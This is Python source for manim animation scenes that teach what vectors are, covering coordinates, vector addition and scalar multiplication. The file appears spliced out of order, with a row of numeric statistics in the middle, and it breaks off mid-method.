ApplyMethod(mathy.change_mode, "pondering"),
run_time=2
)
self.play(Blink(mathy))
self.add_scaling(arrows, syms, arrays)
self.play(Write(statement))
self.play(ApplyMethod(mathy.change_mode, "sad"))
self.wait()
self.play(
ShowCreation(circle),
ApplyMethod(mathy.change_mode, "plain")
)
self.wait()
def add_scaling(self, arrows, syms, arrays):
s_arrows = VMobject(
TexMobject("2"), Vector([1, 1]).set_color(YELLOW),
TexMobject("="), Vector([2, 2]).set_color(WHITE)
)
s_arrows.arrange(RIGHT)
s_arrows.scale(0.75)
s_arrows.next_to(arrows, DOWN)
s_arrays = VMobject(
TexMobject("2"),
matrix_to_mobject([3, -5]).set_color(YELLOW),
TextMobject("="),
matrix_to_mobject(["2(3)", "2(-5)"])
)
s_arrays.arrange(RIGHT)
s_arrays.scale(0.75)
s_arrays.next_to(arrays, DOWN)
s_syms = TexMobject(["2", "\\vec{\\textbf{v}}"])
s_syms.split()[-1].set_color(YELLOW)
s_syms.next_to(syms, DOWN)
self.play(
Write(s_arrows), Write(s_arrays), Write(s_syms),
run_time=2
)
self.wait()
def fade_all_but(self, creatures, index):
self.play(*[
FadeOut(VMobject(pi, pi.title))
for pi in creatures[:index] + creatures[index+1:]
])
def restore_creatures(self, creatures):
self.play(*[
ApplyFunction(lambda m: m.change_mode(
"plain").set_color(m.color), pi)
for pi in creatures
] + [
ApplyMethod(pi.title.set_fill, WHITE, 1.0)
for pi in creatures
])
class ThreeDVectorField(Scene):
pass
class HelpsToHaveOneThought(Scene):
def construct(self):
morty = Mortimer()
morty.to_corner(DOWN+RIGHT)
morty.look(DOWN+LEFT)
new_morty = morty.copy().change_mode("speaking")
new_morty.look(DOWN+LEFT)
randys = VMobject(*[
Randolph(color=color).scale(0.8)
for color in (BLUE_D, BLUE_C, BLUE_E)
])
randys.arrange(RIGHT)
randys.to_corner(DOWN+LEFT)
randy = randys.split()[1]
speech_bubble = morty.get_bubble(SpeechBubble)
words = TextMobject("Think of some vector...")
speech_bubble.position_mobject_inside(words)
thought_bubble = randy.get_bubble()
arrow = Vector([2, 1]).scale(0.7)
or_word = TextMobject("or")
array = Matrix([2, 1]).scale(0.5)
q_mark = TextMobject("?")
thought = VMobject(arrow, or_word, array, q_mark)
thought.arrange(RIGHT, buff=0.2)
thought_bubble.position_mobject_inside(thought)
thought_bubble.set_fill(BLACK, opacity=1)
self.add(morty, randys)
self.play(
ShowCreation(speech_bubble),
Transform(morty, new_morty),
Write(words)
)
self.wait(2)
self.play(
FadeOut(speech_bubble),
FadeOut(words),
ApplyMethod(randy.change_mode, "pondering"),
ShowCreation(thought_bubble),
Write(thought)
)
self.wait(2)
class HowIWantYouToThinkAboutVectors(Scene):
def construct(self):
vector = Vector([-2, 3])
plane = NumberPlane()
axis_labels = plane.get_axis_labels()
other_vectors = VMobject(*list(map(Vector, [
[1, 2], [2, -1], [4, 0]
])))
colors = [GREEN_B, MAROON_B, PINK]
for v, color in zip(other_vectors.split(), colors):
v.set_color(color)
shift_val = 4*RIGHT+DOWN
dot = Dot(radius=0.1)
dot.set_color(RED)
tail_word = TextMobject("Tail")
tail_word.shift(0.5*DOWN+2.5*LEFT)
line = Line(tail_word, dot)
self.play(ShowCreation(vector))
self.wait(2)
self.play(
ShowCreation(plane, lag_ratio=0.5),
Animation(vector)
)
self.play(Write(axis_labels, run_time=1))
self.wait()
self.play(
GrowFromCenter(dot),
ShowCreation(line),
Write(tail_word, run_time=1)
)
self.wait()
self.play(
FadeOut(tail_word),
ApplyMethod(VMobject(dot, line).scale, 0.01)
)
self.remove(tail_word, line, dot)
self.wait()
self.play(ApplyMethod(
vector.shift, shift_val,
path_arc=3*np.pi/2,
run_time=3
))
self.play(ApplyMethod(
vector.shift, -shift_val,
rate_func=rush_into,
run_time=0.5
))
self.wait(3)
self.play(ShowCreation(
other_vectors,
run_time=3
))
self.wait(3)
x_axis, y_axis = plane.get_axes().split()
x_label = axis_labels.split()[0]
x_axis = x_axis.copy()
x_label = x_label.copy()
everything = VMobject(*self.mobjects)
self.play(
FadeOut(everything),
Animation(x_axis), Animation(x_label)
)
class ListsOfNumbersAddOn(Scene):
def construct(self):
arrays = VMobject(*list(map(matrix_to_mobject, [
[-2, 3], [1, 2], [2, -1], [4, 0]
])))
arrays.arrange(buff=0.4)
arrays.scale(2)
self.play(Write(arrays))
self.wait(2)
class CoordinateSystemWalkthrough(VectorScene):
def construct(self):
self.introduce_coordinate_plane()
self.show_vector_coordinates()
self.coords_to_vector([3, -1])
self.vector_to_coords([-2, -1.5], integer_labels=False)
def introduce_coordinate_plane(self):
plane = NumberPlane()
x_axis, y_axis = plane.get_axes().copy().split()
x_label, y_label = plane.get_axis_labels().split()
number_line = NumberLine(tick_frequency=1)
x_tick_marks = number_line.get_tick_marks()
y_tick_marks = x_tick_marks.copy().rotate(np.pi/2)
tick_marks = VMobject(x_tick_marks, y_tick_marks)
tick_marks.set_color(WHITE)
plane_lines = [m for m in plane.get_family() if isinstance(m, Line)]
origin_words = TextMobject("Origin")
origin_words.shift(2*UP+2*LEFT)
dot = Dot(radius=0.1).set_color(RED)
line = Line(origin_words.get_bottom(), dot.get_corner(UP+LEFT))
unit_brace = Brace(Line(RIGHT, 2*RIGHT))
one = TexMobject("1").next_to(unit_brace, DOWN)
self.add(x_axis, x_label)
self.wait()
self.play(ShowCreation(y_axis))
self.play(Write(y_label, run_time=1))
self.wait(2)
self.play(
Write(origin_words),
GrowFromCenter(dot),
ShowCreation(line),
run_time=1
)
self.wait(2)
self.play(
FadeOut(VMobject(origin_words, dot, line))
)
self.remove(origin_words, dot, line)
self.wait()
self.play(
ShowCreation(tick_marks)
)
self.play(
GrowFromCenter(unit_brace),
Write(one, run_time=1)
)
self.wait(2)
self.remove(unit_brace, one)
self.play(
*list(map(GrowFromCenter, plane_lines)) + [
Animation(x_axis), Animation(y_axis)
])
self.wait()
self.play(
FadeOut(plane),
Animation(VMobject(x_axis, y_axis, tick_marks))
)
self.remove(plane)
self.add(tick_marks)
def show_vector_coordinates(self):
starting_mobjects = list(self.mobjects)
vector = Vector([-2, 3])
x_line = Line(ORIGIN, -2*RIGHT)
y_line = Line(-2*RIGHT, -2*RIGHT+3*UP)
x_line.set_color(X_COLOR)
y_line.set_color(Y_COLOR)
array = vector_coordinate_label(vector)
x_label, y_label = array.get_mob_matrix().flatten()
x_label_copy = x_label.copy()
x_label_copy.set_color(X_COLOR)
y_label_copy = y_label.copy()
y_label_copy.set_color(Y_COLOR)
point = Dot(4*LEFT+2*UP)
point_word = TextMobject("(-4, 2) as \\\\ a point")
point_word.scale(0.7)
point_word.next_to(point, DOWN)
point.add(point_word)
self.play(ShowCreation(vector))
self.play(Write(array))
self.wait(2)
self.play(ApplyMethod(x_label_copy.next_to, x_line, DOWN))
self.play(ShowCreation(x_line))
self.wait(2)
self.play(ApplyMethod(y_label_copy.next_to, y_line, LEFT))
self.play(ShowCreation(y_line))
self.wait(2)
self.play(FadeIn(point))
self.wait()
self.play(ApplyFunction(
lambda m: m.scale_in_place(1.25).set_color(YELLOW),
array.get_brackets(),
rate_func=there_and_back
))
self.wait()
self.play(FadeOut(point))
self.remove(point)
self.wait()
self.clear()
self.add(*starting_mobjects)
class LabeledThreeDVector(Scene):
pass
class WriteZ(Scene):
def construct(self):
z = TexMobject("z").set_color(Z_COLOR)
z.set_height(4)
self.play(Write(z, run_time=2))
self.wait(3)
class Write3DVector(Scene):
def construct(self):
array = Matrix([2, 1, 3]).scale(2)
x, y, z = array.get_mob_matrix().flatten()
brackets = array.get_brackets()
x.set_color(X_COLOR)
y.set_color(Y_COLOR)
z.set_color(Z_COLOR)
self.add(brackets)
for mob in x, y, z:
self.play(Write(mob), run_time=2)
self.wait()
class VectorAddition(VectorScene):
def construct(self):
self.add_plane()
vects = self.define_addition()
# vects = map(Vector, [[1, 2], [3, -1], [4, 1]])
self.ask_why(*vects)
self.answer_why(*vects)
def define_addition(self):
v1 = self.add_vector([1, 2])
v2 = self.add_vector([3, -1], color=MAROON_B)
l1 = self.label_vector(v1, "v")
l2 = self.label_vector(v2, "w")
self.wait()
self.play(ApplyMethod(v2.shift, v1.get_end()))
self.wait()
v_sum = self.add_vector(v2.get_end(), color=PINK)
sum_tex = "\\vec{\\textbf{v}} + \\vec{\\textbf{w}}"
self.label_vector(v_sum, sum_tex, rotate=True)
self.wait(3)
return v1, v2, v_sum
def ask_why(self, v1, v2, v_sum):
why = TextMobject("Why?")
why_not_this = TextMobject("Why not \\\\ this?")
new_v2 = v2.copy().shift(-v2.get_start())
new_v_sum = v_sum.copy()
alt_vect_sum = new_v2.get_end() - v1.get_end()
new_v_sum.shift(-new_v_sum.get_start())
new_v_sum.rotate(
angle_of_vector(alt_vect_sum) - new_v_sum.get_angle()
)
new_v_sum.scale(get_norm(alt_vect_sum)/new_v_sum.get_length())
new_v_sum.shift(v1.get_end())
new_v_sum.submobjects.reverse() # No idea why I have to do this
original_v_sum = v_sum.copy()
why.next_to(v2, RIGHT)
why_not_this.next_to(new_v_sum, RIGHT)
why_not_this.shift(0.5*UP)
self.play(Write(why, run_time=1))
self.wait(2)
self.play(
Transform(v2, new_v2),
Transform(v_sum, new_v_sum),
Transform(why, why_not_this)
)
self.wait(2)
self.play(
FadeOut(why),
Transform(v_sum, original_v_sum)
)
self.remove(why)
self.wait()
def answer_why(self, v1, v2, v_sum):
randy = Randolph(color=PINK)
randy.shift(-randy.get_bottom())
self.remove(v1, v2, v_sum)
for v in v1, v2, v_sum:
self.add(v)
self.show_ghost_movement(v)
self.remove(v)
self.add(v1, v2)
self.wait()
self.play(ApplyMethod(randy.scale, 0.3))
self.play(ApplyMethod(randy.shift, v1.get_end()))
self.wait()
self.play(ApplyMethod(v2.shift, v1.get_end()))
self.play(ApplyMethod(randy.move_to, v2.get_end()))
self.wait()
self.remove(randy)
randy.move_to(ORIGIN)
self.play(FadeIn(v_sum))
self.play(ApplyMethod(randy.shift, v_sum.get_end()))
self.wait()
class AddingNumbersOnNumberLine(Scene):
def construct(self):
number_line = NumberLine()
number_line.add_numbers()
two_vect = Vector([2, 0])
five_vect = Vector([5, 0], color=MAROON_B)
seven_vect = Vector([7, 0], color=PINK)
five_vect.shift(two_vect.get_end())
seven_vect.shift(0.5*DOWN)
vects = [two_vect, five_vect, seven_vect]
two, five, seven = list(map(TexMobject, ["2", "5", "7"]))
two.next_to(two_vect, UP)
five.next_to(five_vect, UP)
seven.next_to(seven_vect, DOWN)
nums = [two, five, seven]
sum_mob = TexMobject("2 + 5").shift(3*UP)
self.play(ShowCreation(number_line))
self.wait()
self.play(Write(sum_mob, run_time=2))
self.wait()
for vect, num in zip(vects, nums):
self.play(
ShowCreation(vect),
Write(num, run_time=1)
)
self.wait()
class VectorAdditionNumerically(VectorScene):
def construct(self):
plus = TexMobject("+")
equals = TexMobject("=")
randy = Randolph()
randy.set_height(1)
randy.shift(-randy.get_bottom())
axes = self.add_axes()
x_axis, y_axis = axes.split()
v1 = self.add_vector([1, 2])
coords1, x_line1, y_line1 = self.vector_to_coords(v1, clean_up=False)
self.play(ApplyFunction(
lambda m: m.next_to(y_axis, RIGHT).to_edge(UP),
coords1
))
plus.next_to(coords1, RIGHT)
v2 = self.add_vector([3, -1], color=MAROON_B)
coords2, x_line2, y_line2 = self.vector_to_coords(v2, clean_up=False)
self.wait()
self.play(
ApplyMethod(coords2.next_to, plus, RIGHT),
Write(plus, run_time=1),
*[
ApplyMethod(mob.shift, v1.get_end())
for mob in (v2, x_line2, y_line2)
]
)
equals.next_to(coords2, RIGHT)
self.wait()
self.play(FadeIn(randy))
for step in [RIGHT, 2*UP, 3*RIGHT, DOWN]:
self.play(ApplyMethod(randy.shift, step, run_time=1.5))
self.wait()
self.play(ApplyMethod(randy.shift, -randy.get_bottom()))
self.play(ApplyMethod(x_line2.shift, 2*DOWN))
self.play(ApplyMethod(y_line1.shift, 3*RIGHT))
for step in [4*RIGHT, 2*UP, DOWN]:
self.play(ApplyMethod(randy.shift, step))
self.play(FadeOut(randy))
self.remove(randy)
one_brace = Brace(x_line1)
three_brace = Brace(x_line2)
one = TexMobject("1").next_to(one_brace, DOWN)
three = TexMobject("3").next_to(three_brace, DOWN)
self.play(
GrowFromCenter(one_brace),
GrowFromCenter(three_brace),
Write(one),
Write(three),
run_time=1
)
self.wait()
two_brace = Brace(y_line1, RIGHT)
two = TexMobject("2").next_to(two_brace, RIGHT)
new_y_line = Line(4*RIGHT, 4*RIGHT+UP, color=Y_COLOR)
two_minus_one_brace = Brace(new_y_line, RIGHT)
two_minus_one = TexMobject(
"2+(-1)").next_to(two_minus_one_brace, RIGHT)
self.play(
GrowFromCenter(two_brace),
Write(two, run_time=1)
)
self.wait()
self.play(
Transform(two_brace, two_minus_one_brace),
Transform(two, two_minus_one),
Transform(y_line1, new_y_line),
Transform(y_line2, new_y_line)
)
self.wait()
self.add_vector(v2.get_end(), color=PINK)
sum_coords = Matrix(["1+3", "2+(-1)"])
sum_coords.set_height(coords1.get_height())
sum_coords.next_to(equals, RIGHT)
brackets = sum_coords.get_brackets()
x1, y1 = coords1.get_mob_matrix().flatten()
x2, y2 = coords2.get_mob_matrix().flatten()
sum_x, sum_y = sum_coords.get_mob_matrix().flatten()
sum_x_start = VMobject(x1, x2).copy()
sum_y_start = VMobject(y1, y2).copy()
self.play(
Write(brackets),
Write(equals),
Transform(sum_x_start, sum_x),
run_time=1
)
self.play(Transform(sum_y_start, sum_y))
self.wait(2)
starters = [x1, y1, x2, y2, sum_x_start, sum_y_start]
variables = list(map(TexMobject, [
"x_1", "y_1", "x_2", "y_2", "x_1+y_1", "x_2+y_2"
]))
for i, (var, starter) in enumerate(zip(variables, starters)):
if i % 2 == 0:
var.set_color(X_COLOR)
else:
var.set_color(Y_COLOR)
var.scale(VECTOR_LABEL_SCALE_FACTOR)
var.move_to(starter)
self.play(
Transform(
VMobject(*starters[:4]),
VMobject(*variables[:4])
),
FadeOut(sum_x_start),
FadeOut(sum_y_start)
)
sum_x_end, sum_y_end = variables[-2:]
self.wait(2)
self.play(
Transform(VMobject(x1, x2).copy(), sum_x_end)
)
self.play(
Transform(VMobject(y1, y2).copy(), sum_y_end)
)
self.wait(3)
class MultiplicationByANumberIntro(Scene):
def construct(self):
v = TexMobject("\\vec{\\textbf{v}}")
v.set_color(YELLOW)
nums = list(map(TexMobject, ["2", "\\dfrac{1}{3}", "-1.8"]))
for mob in [v] + nums:
mob.scale(1.5)
self.play(Write(v, run_time=1))
last = None
for num in nums:
num.next_to(v, LEFT)
if last:
self.play(Transform(last, num))
else:
self.play(FadeIn(num))
last = num
self.wait()
class ShowScalarMultiplication(VectorScene):
def construct(self):
plane = self.add_plane()
v = self.add_vector([3, 1])
label = self.label_vector(v, "v", add_to_vector=False)
self.scale_vector(v, 2, label)
self.scale_vector(v, 1./3, label, factor_tex="\\dfrac{1}{3}")
self.scale_vector(v, -1.8, label)
self.remove(label)
self.describe_scalars(v, plane)
def scale_vector(self, v, factor, v_label,
v_name="v", factor_tex=None):
starting_mobjects = list(self.mobjects)
if factor_tex is None:
factor_tex = str(factor)
scaled_vector = self.add_vector(
factor*v.get_end(), animate=False
)
self.remove(scaled_vector)
label_tex = "%s\\vec{\\textbf{%s}}" % (factor_tex, v_name)
label = self.label_vector(
scaled_vector, label_tex, animate=False,
add_to_vector=False
)
self.remove(label)
factor_mob = TexMobject(factor_tex)
if factor_mob.get_height() > 1:
factor_mob.set_height(0.9)
if factor_mob.get_width() > 1:
factor_mob.set_width(0.9)
factor_mob.shift(1.5*RIGHT+2.5*UP)
num_factor_parts = len(factor_mob.split())
factor_mob_parts_in_label = label.split()[:num_factor_parts]
label_remainder_parts = label.split()[num_factor_parts:]
factor_in_label = VMobject(*factor_mob_parts_in_label)
label_remainder = VMobject(*label_remainder_parts)
self.play(Write(factor_mob, run_time=1))
self.wait()
self.play(
ApplyMethod(v.copy().set_color, DARK_GREY),
ApplyMethod(v_label.copy().set_color, DARK_GREY),
Transform(factor_mob, factor_in_label),
Transform(v.copy(), scaled_vector),
Transform(v_label.copy(), label_remainder),
)
self.wait(2)
self.clear()
self.add(*starting_mobjects)
def describe_scalars(self, v, plane):
axes = plane.get_axes()
long_v = Vector(2*v.get_end())
long_minus_v = Vector(-2*v.get_end())
original_v = v.copy()
scaling_word = TextMobject("``Scaling''").to_corner(UP+LEFT)
scaling_word.shift(2*RIGHT)
scalars = VMobject(*list(map(TexMobject, [
"2,", "\\dfrac{1}{3},", "-1.8,", "\\dots"
])))
scalars.arrange(RIGHT, buff=0.4)
scalars.next_to(scaling_word, DOWN, aligned_edge=LEFT)
scalars_word = TextMobject("``Scalars''")
scalars_word.next_to(scalars, DOWN, aligned_edge=LEFT)
self.remove(plane)
self.add(axes)
self.play(
Write(scaling_word),
Transform(v, long_v),
run_time=1.5
)
self.play(Transform(v, long_minus_v, run_time=3))
self.play(Write(scalars))
self.wait()
self.play(Write(scalars_word))
self.play(Transform(v, original_v), run_time=3)
self.wait(2)
class ScalingNumerically(VectorScene):
def construct(self):
two_dot = TexMobject("2\\cdot")
equals = TexMobject("=")
self.add_axes()
v = self.add_vector([3, 1])
v_coords, vx_line, vy_line = self.vector_to_coords(v, clean_up=False)
self.play(ApplyMethod(v_coords.to_edge, UP))
two_dot.next_to(v_coords, LEFT)
equals.next_to(v_coords, RIGHT)
two_v = self.add_vector([6, 2], animate=False)
self.remove(two_v)
self.play(
Transform(v.copy(), two_v),
Write(two_dot, run_time=1)
)
two_v_coords, two_v_x_line, two_v_y_line = self.vector_to_coords(
two_v, clean_up=False
)
self.play(
ApplyMethod(two_v_coords.next_to, equals, RIGHT),
Write(equals, run_time=1)
)
self.wait(2)
x, y = v_coords.get_mob_matrix().flatten()
two_v_elems = two_v_coords.get_mob_matrix().flatten()
x_sym, y_sym = list(map(TexMobject, ["x", "y"]))
two_x_sym, two_y_sym = list(map(TexMobject, ["2x", "2y"]))
VMobject(x_sym, two_x_sym).set_color(X_COLOR)
VMobject(y_sym, two_y_sym).set_color(Y_COLOR)
syms = [x_sym, y_sym, two_x_sym, two_y_sym]
VMobject(*syms).scale(VECTOR_LABEL_SCALE_FACTOR)
for sym, num in zip(syms, [x, y] + list(two_v_elems)):
sym.move_to(num)
self.play(
Transform(x, x_sym),
Transform(y, y_sym),
FadeOut(VMobject(*two_v_elems))
)
self.wait()
self.play(
Transform(
VMobject(two_dot.copy(), x.copy()),
two_x_sym
),
Transform(
VMobject(two_dot.copy(), y.copy()),
two_y_sym
)
)
self.wait(2)
class FollowingVideos(UpcomingSeriesOfVidoes):
def construct(self):
v_sum = VMobject(
Vector([1, 1], color=YELLOW),
Vector([3, 1], color=BLUE).shift(RIGHT+UP),
Vector([4, 2], color=GREEN),
)
scalar_multiplication = VMobject(
TexMobject("2 \\cdot "),
Vector([1, 1]),
TexMobject("="),
Vector([2, 2], color=WHITE)
)
scalar_multiplication.arrange(RIGHT)
both = VMobject(v_sum, scalar_multiplication)
both.arrange(RIGHT, buff=1)
both.shift(2*DOWN)
self.add(both)
UpcomingSeriesOfVidoes.construct(self)
last_video = self.mobjects[-1]
self.play(ApplyMethod(last_video.set_color, YELLOW))
self.wait()
everything = VMobject(*self.mobjects)
everything.remove(last_video)
big_last_video = last_video.copy()
big_last_video.center()
big_last_video.set_height(2.5*FRAME_Y_RADIUS)
big_last_video.set_fill(opacity=0)
self.play(
ApplyMethod(everything.shift, FRAME_WIDTH*LEFT),
Transform(last_video, big_last_video),
run_time=2
)
class ItDoesntMatterWhich(Scene):
def construct(self):
physy = Physicist()
compy = ComputerScientist()
physy.title = TextMobject("Physics student").to_corner(DOWN+LEFT)
compy.title = TextMobject("CS student").to_corner(DOWN+RIGHT)
for pi in physy, compy:
pi.next_to(pi.title, UP)
self.add(pi, pi.title)
compy_speech = compy.get_bubble(SpeechBubble)
physy_speech = physy.get_bubble(SpeechBubble)
arrow = Vector([2, 1])
array = matrix_to_mobject([2, 1])
goes_to = TexMobject("\\Rightarrow")
physy_statement = VMobject(arrow, goes_to, array)
physy_statement.arrange(RIGHT)
compy_statement = physy_statement.copy()
compy_statement.arrange(LEFT)
physy_speech.position_mobject_inside(physy_statement)
compy_speech.position_mobject_inside(compy_statement)
new_arrow = Vector([2, 1])
x_line = Line(ORIGIN, 2*RIGHT, color=X_COLOR)
y_line = Line(2*RIGHT, 2*RIGHT+UP, color=Y_COLOR)
x_mob = TexMobject("2").next_to(x_line, DOWN)
y_mob = TexMobject("1").next_to(y_line, RIGHT)
new_arrow.add(x_line, y_line, x_mob, y_mob)
back_and_forth = VMobject(
new_arrow,
TexMobject("\\Leftrightarrow"),
matrix_to_mobject([2, 1])
)
back_and_forth.arrange(LEFT).center()
self.wait()
self.play(
ApplyMethod(physy.change_mode, "speaking"),
ShowCreation(physy_speech),
Write(physy_statement),
run_time=1
)
self.play(Blink(compy))
self.play(
ApplyMethod(physy.change_mode, "sassy"),
ApplyMethod(compy.change_mode, "speaking"),
FadeOut(physy_speech),
ShowCreation(compy_speech),
Transform(physy_statement, compy_statement, path_arc=np.pi)
)
self.wait(2)
self.play(
ApplyMethod(physy.change_mode, "pondering"),
ApplyMethod(compy.change_mode, "pondering"),
Transform(compy_speech, VectorizedPoint(compy_speech.get_tip())),
Transform(physy_statement, back_and_forth)
)
self.wait()
class DataAnalyst(Scene):
def construct(self):
plane = NumberPlane()
ellipse = ParametricFunction(
lambda x: 2*np.cos(x)*(UP+RIGHT) + np.sin(x)*(UP+LEFT),
color=PINK,
t_max=2*np.pi
)
ellipse_points = [
ellipse.point_from_proportion(x)
for x in np.arange(0, 1, 1./20)
]
string_vects = [
matrix_to_mobject(("%.02f %.02f" % tuple(ep[:2])).split())
for ep in ellipse_points
]
string_vects_matrix = Matrix(
np.array(string_vects).reshape((4, 5))
)
string_vects = string_vects_matrix.get_mob_matrix().flatten()
string_vects = VMobject(*string_vects)
vects = VMobject(*list(map(Vector, ellipse_points)))
self.play(Write(string_vects))
self.wait(2)
self.play(
FadeIn(plane),
Transform(string_vects, vects)
)
self.remove(string_vects)
self.add(vects)
self.wait()
self.play(
ApplyMethod(plane.fade, 0.7),
ApplyMethod(vects.set_color, DARK_GREY),
ShowCreation(ellipse)
)
self.wait(3)
class ManipulateSpace(LinearTransformationScene):
CONFIG = {
"include_background_plane": False,
"show_basis_vectors": False,
}
def construct(self):
matrix_rule = TexMobject("""
\\left[
\\begin{array}{c}
x \\\\ y
\\end{array}
\\right]
\\rightarrow
\\left[
\\begin{array}{c}
2x + y \\\\ y + 2x
\\end{array}
\\right]
""")
self.setup()
pi_creature = PiCreature(color=PINK).scale(0.5)
pi_creature.shift(-pi_creature.get_corner(DOWN+LEFT))
self.plane.prepare_for_nonlinear_transform()
self.play(ShowCreation(
self.plane,
run_time=2
))
self.play(FadeIn(pi_creature))
self.play(Blink(pi_creature))
self.plane.add(pi_creature)
self.play(Homotopy(plane_wave_homotopy, self.plane, run_time=3))
self.wait(2)
self.apply_matrix([[2, 1], [1, 2]])
self.wait()
self.play(
FadeOut(self.plane),
Write(matrix_rule),
run_time=2
)
self.wait()
class CodingMathyAnimation(Scene):
pass
class NextVideo(Scene):
def construct(self):
title = TextMobject("Next video: Linear combinations, span, and bases")
title.to_edge(UP)
rect = Rectangle(width=16, height=9, color=BLUE)
rect.set_height(6)
rect.next_to(title, DOWN)
self.add(title)
self.play(ShowCreation(rect))
self.wait()
| 32.068966 | 89 | 0.568267 | from manimlib.imports import *
from old_projects.eola.chapter0 import UpcomingSeriesOfVidoes
import random
def plane_wave_homotopy(x, y, z, t):
norm = get_norm([x, y])
tau = interpolate(5, -5, t) + norm/FRAME_X_RADIUS
alpha = sigmoid(tau)
return [x, y + 0.5*np.sin(2*np.pi*alpha)-t*SMALL_BUFF/2, z]
class Physicist(PiCreature):
CONFIG = {
"color": PINK,
}
class ComputerScientist(PiCreature):
CONFIG = {
"color": PURPLE_E,
"flip_at_start": True,
}
class OpeningQuote(Scene):
def construct(self):
words = TextMobject(
"``The introduction of numbers as \\\\ coordinates is an act of violence.''",
)
words.to_edge(UP)
for mob in words.submobjects[27:27+11]:
mob.set_color(GREEN)
author = TextMobject("-Hermann Weyl")
author.set_color(YELLOW)
author.next_to(words, DOWN, buff=0.5)
self.play(FadeIn(words))
self.wait(1)
self.play(Write(author, run_time=4))
self.wait()
class DifferentConceptions(Scene):
def construct(self):
physy = Physicist()
mathy = Mathematician(mode="pondering")
compy = ComputerScientist()
creatures = [physy, compy, mathy]
physy.title = TextMobject("Physics student").to_corner(DOWN+LEFT)
compy.title = TextMobject("CS student").to_corner(DOWN+RIGHT)
mathy.title = TextMobject("Mathematician").to_edge(DOWN)
names = VMobject(physy.title, mathy.title, compy.title)
names.arrange(RIGHT, buff=1)
names.to_corner(DOWN+LEFT)
for pi in creatures:
pi.next_to(pi.title, UP)
vector, symbol, coordinates = self.intro_vector()
for pi in creatures:
self.play(
Write(pi.title),
FadeIn(pi),
run_time=1
)
self.wait(2)
self.remove(symbol, coordinates)
self.physics_conception(creatures, vector)
self.cs_conception(creatures)
self.handle_mathy(creatures)
def intro_vector(self):
plane = NumberPlane()
labels = VMobject(*plane.get_coordinate_labels())
vector = Vector(RIGHT+2*UP, color=YELLOW)
coordinates = vector_coordinate_label(vector)
symbol = TexMobject("\\vec{\\textbf{v}}")
symbol.shift(0.5*(RIGHT+UP))
self.play(ShowCreation(
plane,
lag_ratio=1,
run_time=3
))
self.play(ShowCreation(
vector,
))
self.play(
Write(labels),
Write(coordinates),
Write(symbol)
)
self.wait(2)
self.play(
FadeOut(plane),
FadeOut(labels),
ApplyMethod(vector.shift, 4*LEFT+UP),
ApplyMethod(coordinates.shift, 2.5*RIGHT+0.5*DOWN),
ApplyMethod(symbol.shift, 0.5*(UP+LEFT))
)
self.remove(plane, labels)
return vector, symbol, coordinates
def physics_conception(self, creatures, original_vector):
self.fade_all_but(creatures, 0)
physy, compy, mathy = creatures
vector = Vector(2*RIGHT)
vector.next_to(physy, UP+RIGHT)
brace = Brace(vector, DOWN)
length = TextMobject("Length")
length.next_to(brace, DOWN)
group = VMobject(vector, brace, length)
group.rotate_in_place(np.pi/6)
vector.get_center = lambda: vector.get_start()
direction = TextMobject("Direction")
direction.next_to(vector, RIGHT)
direction.shift(UP)
two_dimensional = TextMobject("Two-dimensional")
three_dimensional = TextMobject("Three-dimensional")
two_dimensional.to_corner(UP+RIGHT)
three_dimensional.to_corner(UP+RIGHT)
random_vectors = VMobject(*[
Vector(
random.uniform(-2, 2)*RIGHT +
random.uniform(-2, 2)*UP
).shift(
random.uniform(0, 4)*RIGHT +
random.uniform(-1, 2)*UP
).set_color(random_color())
for x in range(5)
])
self.play(
Transform(original_vector, vector),
ApplyMethod(physy.change_mode, "speaking")
)
self.remove(original_vector)
self.add(vector)
self.wait()
self.play(
GrowFromCenter(brace),
Write(length),
run_time=1
)
self.wait()
self.remove(brace, length)
self.play(
Rotate(vector, np.pi/3, in_place=True),
Write(direction),
run_time=1
)
for angle in -2*np.pi/3, np.pi/3:
self.play(Rotate(
vector, angle,
in_place=True,
run_time=1
))
self.play(ApplyMethod(physy.change_mode, "plain"))
self.remove(direction)
for point in 2*UP, 4*RIGHT, ORIGIN:
self.play(ApplyMethod(vector.move_to, point))
self.wait()
self.play(
Write(two_dimensional),
ApplyMethod(physy.change_mode, "pondering"),
ShowCreation(random_vectors, lag_ratio=0.5),
run_time=1
)
self.wait(2)
self.remove(random_vectors, vector)
self.play(Transform(two_dimensional, three_dimensional))
self.wait(5)
self.remove(two_dimensional)
self.restore_creatures(creatures)
def cs_conception(self, creatures):
self.fade_all_but(creatures, 1)
physy, compy, mathy = creatures
title = TextMobject("Vectors $\\Leftrightarrow$ lists of numbers")
title.to_edge(UP)
vectors = VMobject(*list(map(matrix_to_mobject, [
[2, 1],
[5, 0, 0, -3],
[2.3, -7.1, 0.1],
])))
vectors.arrange(RIGHT, buff=1)
vectors.to_edge(LEFT)
self.play(
ApplyMethod(compy.change_mode, "sassy"),
Write(title, run_time=1)
)
self.play(Write(vectors))
self.wait()
self.play(ApplyMethod(compy.change_mode, "pondering"))
self.house_example(vectors, title)
self.restore_creatures(creatures)
def house_example(self, starter_mobject, title):
house = SVGMobject("house")
house.set_stroke(width=0)
house.set_fill(BLUE_C, opacity=1)
house.set_height(3)
house.center()
square_footage_words = TextMobject("Square footage:")
price_words = TextMobject("Price: ")
square_footage = TexMobject("2{,}600\\text{ ft}^2")
price = TextMobject("\\$300{,}000")
house.to_edge(LEFT).shift(UP)
square_footage_words.next_to(house, RIGHT)
square_footage_words.shift(0.5*UP)
square_footage_words.set_color(RED)
price_words.next_to(square_footage_words, DOWN, aligned_edge=LEFT)
price_words.set_color(GREEN)
square_footage.next_to(square_footage_words)
square_footage.set_color(RED)
price.next_to(price_words)
price.set_color(GREEN)
vector = Matrix([square_footage.copy(), price.copy()])
vector.next_to(house, RIGHT).shift(0.25*UP)
new_square_footage, new_price = vector.get_mob_matrix().flatten()
not_equals = TexMobject("\\ne")
not_equals.next_to(vector)
alt_vector = Matrix([
TextMobject("300{,}000\\text{ ft}^2").set_color(RED),
TextMobject("\\$2{,}600").set_color(GREEN)
])
alt_vector.next_to(not_equals)
brace = Brace(vector, RIGHT)
two_dimensional = TextMobject("2 dimensional")
two_dimensional.next_to(brace)
brackets = vector.get_brackets()
self.play(Transform(starter_mobject, house))
self.remove(starter_mobject)
self.add(house)
self.add(square_footage_words)
self.play(Write(square_footage, run_time=2))
self.add(price_words)
self.play(Write(price, run_time=2))
self.wait()
self.play(
FadeOut(square_footage_words), FadeOut(price_words),
Transform(square_footage, new_square_footage),
Transform(price, new_price),
Write(brackets),
run_time=1
)
